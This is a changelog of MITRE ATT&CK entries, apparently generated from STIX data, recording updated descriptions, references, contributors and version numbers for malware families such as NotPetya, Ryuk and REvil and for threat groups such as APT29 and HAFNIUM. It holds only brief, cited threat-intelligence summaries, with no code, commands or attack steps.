| description | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits) | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Reaver](https://attack.mitre.org/software/S0172) is a malwa | t | 1 | [Reaver](https://attack.mitre.org/software/S0172) is a malwa |
| > | re family that has been in the wild since at least late 2016 | > | re family that has been in the wild since at least late 2016 | ||
| > | . Reporting indicates victims have primarily been associated | > | . Reporting indicates victims have primarily been associated | ||
| > | with the "Five Poisons," which are movements the Chinese go | > | with the "Five Poisons," which are movements the Chinese go | ||
| > | vernment considers dangerous. The type of malware is rare du | > | vernment considers dangerous. The type of malware is rare du | ||
| > | e to its final payload being in the form of [Control Panel I | > | e to its final payload being in the form of [Control Panel]( | ||
| > | tems](https://attack.mitre.org/techniques/T1196). (Citation: | > | https://attack.mitre.org/techniques/T1218/002) items.(Citati | ||
| > | Palo Alto Reaver Nov 2017) | > | on: Palo Alto Reaver Nov 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:41:10.175000+00:00 | 2021-02-09 15:02:42.727000+00:00 |
| description | [Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017) | [Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:14:02.011000+00:00 | 2021-04-26 17:40:17.009000+00:00 |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-15 14:24:52.969000+00:00 | 2021-02-09 13:42:15.121000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:20:01.325000+00:00 | 2021-02-09 15:25:33.116000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:21:44.275000+00:00 | 2021-04-21 16:41:34.655000+00:00 |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:26:35.490000+00:00 | 2021-01-06 19:32:28.278000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 19:41:25.983000+00:00 | 2021-03-22 18:45:19.504000+00:00 |
| x_mitre_contributors[0] | Daniyal Naeem, @Mrdaniyalnaeem | Daniyal Naeem, BT Security |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:27:31.495000+00:00 | 2021-01-06 19:32:28.378000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:55:49.493000+00:00 | 2021-01-25 15:43:45.842000+00:00 |
| external_references[13]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-02-09 23:00:38.683000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:40:56.558000+00:00 | 2021-03-29 19:54:46.007000+00:00 |
| external_references[2]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ | https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ |
Current version: 1.0
Description: [Android/AdDisplay.Ashas](https://attack.mitre.org/software/S0525) is a variant of adware that has been distributed through multiple apps in the Google Play Store. (Citation: WeLiveSecurity AdDisplayAshas)
Current version: 1.0
Description: [AndroidOS/MalLocker.B](https://attack.mitre.org/software/S0524) is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows. (Citation: Microsoft MalLockerB)
Current version: 1.0
Description: [Asacub](https://attack.mitre.org/software/S0540) is a banking trojan that attempts to steal money from victims’ bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.(Citation: Securelist Asacub)
Current version: 1.0
Description: [CHEMISTGAMES](https://attack.mitre.org/software/S0555) is a modular backdoor that has been deployed by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: CYBERWARCON CHEMISTGAMES)
Current version: 1.0
Description: [CarbonSteal](https://attack.mitre.org/software/S0529) is one of a family of four surveillanceware tools that share a common C2 infrastructure. [CarbonSteal](https://attack.mitre.org/software/S0529) primarily deals with audio surveillance. (Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [Circles](https://attack.mitre.org/software/S0602) reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company’s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.(Citation: CitizenLab Circles)
Current version: 1.0
Description: [DoubleAgent](https://attack.mitre.org/software/S0550) is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [Exobot](https://attack.mitre.org/software/S0522) is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.(Citation: Threat Fabric Exobot)
Current version: 1.0
Description: [FrozenCell](https://attack.mitre.org/software/S0577) is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and [Micropsia](https://attack.mitre.org/software/S0339).(Citation: Lookout FrozenCell)
Current version: 1.0
Description: [GPlayed](https://attack.mitre.org/software/S0536) is an Android trojan with a broad range of capabilities.(Citation: Talos GPlayed)
Current version: 1.0
Description: [Golden Cup](https://attack.mitre.org/software/S0535) is Android spyware that has been used to target World Cup fans.(Citation: Symantec GoldenCup)
Current version: 1.0
Description: [GoldenEagle](https://attack.mitre.org/software/S0551) is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [HenBox](https://attack.mitre.org/software/S0544) is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. [HenBox](https://attack.mitre.org/software/S0544) has primarily been used to target Uyghurs, a minority Turkic ethnic group.(Citation: Palo Alto HenBox)
Current version: 1.0
Description: [Red Alert 2.0](https://attack.mitre.org/software/S0539) is a banking trojan that masquerades as a VPN client.(Citation: Sophos Red Alert 2.0)
Current version: 1.0
Description: [SilkBean](https://attack.mitre.org/software/S0549) is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [TERRACOTTA](https://attack.mitre.org/software/S0545) is an ad fraud botnet that has been capable of generating over 2 billion fraudulent requests per week.(Citation: WhiteOps TERRACOTTA)
Current version: 1.0
Description: [Tiktok Pro](https://attack.mitre.org/software/S0558) is spyware that has been masquerading as the TikTok application.(Citation: Zscaler TikTok Spyware)
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 15:42:15.261000+00:00 | 2021-01-20 16:01:19.142000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 16:23:16.039000+00:00 | 2021-04-19 17:11:50.159000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Description: [BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)
Current version: 1.0
Description: [EKANS](https://collaborate.mitre.org/attackics/index.php/Software/S0017) is ransomware that was first seen December 2019 and later reported to have impacted operations at Honda automotive production facilities.(Citation: Forbes Snake Ransomware June 2020)(Citation: MalwareByes Honda and Enel Ransomware June 2020)(Citation: Dragos EKANS February 2020) EKANS has a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy historian, Honeywell HMIWeb).(Citation: Dragos EKANS February 2020) If the malware discovers these processes on the target system, it will stop, encrypt, and rename the process to prevent the program from restarting. This malware should not be confused with the “Snake” malware associated with the Turla group. The ICS processes documented within the malware’s kill-list is similar to those defined by the MEGACORTEX software.(Citation: FireEye OT Ransomware July 2020)(Citation: Pylos January 2020)(Citation: Dragos EKANS June 2020)The ransomware was initially reported as “Snake”, however, to avoid confusion with the unrelated Turla APT group security researchers spelled it backwards as EKANS.
Current version: 1.1
Description: [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa | t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa |
| > | re that was first seen in a worldwide attack starting on Jun | > | re that was used by [Sandworm Team](https://attack.mitre.org | ||
| > | e 27, 2017. The main purpose of the malware appeared to be t | > | /groups/G0034) in a worldwide attack starting on June 27, 20 | ||
| > | o effectively destroy data and disk structures on compromise | > | 17. While [NotPetya](https://attack.mitre.org/software/S0368 | ||
| > | d systems. Though [NotPetya](https://attack.mitre.org/softwa | > | ) appears as a form of ransomware, its main purpose was to d | ||
| > | re/S0368) presents itself as a form of ransomware, it appear | > | estroy data and disk structures on compromised systems; the | ||
| > | s likely that the attackers never intended to make the encry | > | attackers never intended to make the encrypted data recovera | ||
| > | pted data recoverable. As such, [NotPetya](https://attack.mi | > | ble. As such, [NotPetya](https://attack.mitre.org/software/S | ||
| > | tre.org/software/S0368) may be more appropriately thought of | > | 0368) may be more appropriately thought of as a form of wipe | ||
| > | as a form of wiper malware. [NotPetya](https://attack.mitre | > | r malware. [NotPetya](https://attack.mitre.org/software/S036 | ||
| > | .org/software/S0368) contains worm-like features to spread i | > | 8) contains worm-like features to spread itself across a com | ||
| > | tself across a computer network using the SMBv1 exploits Ete | > | puter network using the SMBv1 exploits EternalBlue and Etern | ||
| > | rnalBlue and EternalRomance.(Citation: Talos Nyetya June 201 | > | alRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CE | ||
| > | 7)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPe | > | RT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citatio | ||
| > | tya 2017)(Citation: ESET Telebots June 2017) | > | n: US District Court Indictment GRU Unit 74455 October 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:27:49.511000+00:00 | 2021-04-23 19:31:47.185000+00:00 |
| description | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017) | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ryuk](https://collaborate.mitre.org/attackics/index.php/Sof | t | 1 | [Ryuk](https://attack.mitre.org/software/S0446) is a ransomw |
| > | tware/S0011) is ransomware that was first seen targeting lar | > | are designed to target enterprise environments that has been | ||
| > | ge organizations for high-value ransoms in August of 2018. R | > | used in attacks since at least 2018. [Ryuk](https://attack. | ||
| > | yuk temporarily disrupted operations at a manufacturing firm | > | mitre.org/software/S0446) shares code similarities with Herm | ||
| > | in 2018.(Citation: Crowdstrike Ryuk) | > | es ransomware.(Citation: CrowdStrike Ryuk January 2019)(Cita | ||
| > | tion: FireEye Ryuk and Trickbot January 2019)(Citation: Fire | ||||
| > | Eye FIN6 Apr 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['The DFIR Report, @TheDFIRReport', 'Matt Brenton, Zurich Insurance Group'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| created | 2019-03-26 15:02:14.907000+00:00 | 2020-05-13 20:14:53.171000+00:00 |
| modified | 2020-01-03 22:01:15.893000+00:00 | 2021-04-14 21:34:42.810000+00:00 |
| description | [Ryuk](https://collaborate.mitre.org/attackics/index.php/Software/S0011) is ransomware that was first seen targeting large organizations for high-value ransoms in August of 2018. Ryuk temporarily disrupted operations at a manufacturing firm in 2018.(Citation: Crowdstrike Ryuk) | [Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0011 | https://attack.mitre.org/software/S0446 |
| external_references[0]['external_id'] | S1007 | S0446 |
| external_references[1]['source_name'] | Crowdstrike Ryuk | Ryuk |
| external_references[1]['description'] | Alexander Hanel. (n.d.). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved November 3, 2019. | (Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) |
| external_references[2]['source_name'] | DarkReading Ryuk | CrowdStrike Ryuk January 2019 |
| external_references[2]['description'] | Kelly Jackson Higgins. (n.d.). How a Manufacturing Firm Recovered from a Devastating Ransomware Attack. Retrieved November 3, 2019. | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. |
| external_references[2]['url'] | https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760 | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye Ryuk and Trickbot January 2019', 'description': 'Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html'} | |
| external_references | {'source_name': 'FireEye FIN6 Apr 2019', 'description': 'McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html'} | |
| external_references | {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'} |
Current version: 1.0
Description: [BlackEnergy 3](https://collaborate.mitre.org/attackics/index.php/Software/S0004) is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid. (Citation: Booz Allen Hamilton)
Current version: 1.0
Description: [Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)
Current version: 1.0
Description: [Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)
Current version: 1.0
Description: [Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)
Current version: 1.0
Description: [HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)
Current version: 1.0
Description: [Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)
Current version: 1.0
Description: [Indrik Spider](https://attack.mitre.org/groups/G0119) is a financially motivated threat group that has leveraged the Dridex banking trojan since at least June 2014 and delivered ransomware variants since 2017.(Citation: Crowdstrike Indrik November 2018)
Current version: 1.0
Description: [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)
Current version: 1.0
Description: [Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)
Current version: 1.0
Description: [Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)
Current version: 1.0
Description: [Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)
Current version: 1.0
Description: [TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)
Current version: 1.0
Description: [Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)
Current version: 1.0
Description: [ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)
Current version: 2.0
Version changed from: 1.4 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro | t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro |
| > | up that has been attributed to the Russian government and ha | > | up that has been attributed to Russia's Foreign Intelligence | ||
| > | s operated since at least 2008. (Citation: F-Secure The Duke | > | Service (SVR).(Citation: White House Imposing Costs RU Gov | ||
| > | s) (Citation: GRIZZLY STEPPE JAR) This group reportedly comp | > | April 2021)(Citation: UK Gov Malign RIS Activity April 2021) | ||
| > | romised the Democratic National Committee starting in the su | > | They have operated since at least 2008, often targeting gov | ||
| > | mmer of 2015. (Citation: Crowdstrike DNC June 2016) | > | ernment networks in Europe and NATO member countries, resear | ||
| > | ch institutes, and think tanks. [APT29](https://attack.mitre | ||||
| > | .org/groups/G0016) reportedly compromised the Democratic Nat | ||||
| > | ional Committee starting in the summer of 2015.(Citation: F- | ||||
| > | Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Cr | ||||
| > | owdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia | ||||
| > | SolarWinds April 2021) In April 2021, the US and UK governm | ||||
| > | ents attributed the SolarWinds supply chain compromise cyber | ||||
| > | operation to the SVR; public statements included citations | ||||
| > | to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear | ||||
| > | , and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds | ||||
| > | April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) | ||||
| > | Victims of this campaign included government, consulting, t | ||||
| > | echnology, telecom, and other organizations in North America | ||||
| > | , Europe, Asia, and the Middle East. Industry reporting refe | ||||
| > | rred to the actors involved in this campaign as UNC2452, NOB | ||||
| > | ELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUN | ||||
| > | BURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2 | ||||
| > | 021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Cit | ||||
| > | ation: Volexity SolarWinds) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Matt Brenton, Zurich Insurance Group', 'Katie Nickels, Red Canary'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf | |
| external_references | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | |
| external_references | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | |
| external_references | https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 19:06:15.392000+00:00 | 2021-04-30 12:11:56.336000+00:00 |
| description | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016) | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021) In April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds) |
| external_references[2]['source_name'] | YTTRIUM | Dark Halo |
| external_references[2]['description'] | (Citation: Microsoft Unidentified Dec 2018) | (Citation: Volexity SolarWinds) |
| external_references[3]['source_name'] | The Dukes | StellarParticle |
| external_references[3]['description'] | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: CrowdStrike SUNSPOT Implant January 2021) |
| external_references[4]['source_name'] | Cozy Bear | NOBELIUM |
| external_references[4]['description'] | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: MSTIC NOBELIUM Mar 2021) |
| external_references[5]['source_name'] | CozyDuke | UNC2452 |
| external_references[5]['description'] | (Citation: Crowdstrike DNC June 2016) | (Citation: FireEye SUNBURST Backdoor December 2020) |
| external_references[6]['source_name'] | F-Secure The Dukes | YTTRIUM |
| external_references[6]['description'] | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. | (Citation: Microsoft Unidentified Dec 2018) |
| external_references[7]['source_name'] | GRIZZLY STEPPE JAR | The Dukes |
